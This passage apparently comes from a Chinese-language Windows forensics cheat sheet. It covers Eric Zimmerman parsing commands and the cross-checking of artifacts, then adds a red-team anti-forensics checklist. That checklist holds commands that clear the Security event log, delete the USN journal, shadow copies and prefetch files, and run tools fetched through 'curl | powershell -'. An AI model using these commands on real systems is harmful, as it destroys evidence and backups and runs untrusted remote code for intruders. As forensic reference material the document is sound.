PECmd.exe -d C:\Windows\Prefetch\ --csv output/
AmcacheParser.exe -f Amcache.hve --csv output/
AppCompatCacheParser.exe --csv output/
LECmd.exe -d Recent\ --csv output/
RBCmd.exe -d \$Recycle.Bin --csv output/

# Step 2: 合并时间线
# 使用 Timeline Explorer 或 Plaso 合并所有 CSV

# Step 3: 交叉验证
# MFT → 文件存在证据 + 时间
# USN Journal → 文件操作序列
# Prefetch → 程序执行证据
# Amcache → SHA1 哈希 + 首次出现
# Shimcache → 文件被系统注意到
# LNK/JumpList → 用户交互证据
# Recycle Bin → 删除操作证据
# VSS → 历史状态快照

红队完整反取证清单

操作后清除优先级（从高到低）：
├─ [P0] Prefetch: del C:\Windows\Prefetch\TOOLNAME*.pf
├─ [P0] Recent/LNK: del %APPDATA%\...\Recent\*
├─ [P1] USN Journal: fsutil usn deletejournal /d C:
├─ [P1] Amcache: 注册表删除对应条目
├─ [P1] Event Log: wevtutil cl Security（或精准删除）
├─ [P2] Shimcache: 内存中清除（复杂）
├─ [P2] VSS: vssadmin delete shadows /all /quiet
├─ [P2] Recycle Bin: rd /s /q C:\$Recycle.Bin
├─ [P3] Thumbcache: 删除 thumbcache_*.db
├─ [P3] SRUM: 难以清除（ESE 数据库锁定）
├─ [P3] $LogFile: 无法直接操作
└─ [P3] $MFT: 已删除文件的 MFT 条目仍可恢复

⛔ 终极策略：从一开始就不落盘
├─ 反射加载（不产生 MFT/Prefetch/Amcache/Shimcache）
├─ LOLBins 执行（使用已有系统文件，不引入新 artifact）
├─ 内存操作（/dev/shm 或 Named Pipe）
└─ 工具通过管道传输（curl | powershell -）

---

十一、Eric Zimmerman 工具集速查

所有工具下载: https://ericzimmerman.github.io/#!index.md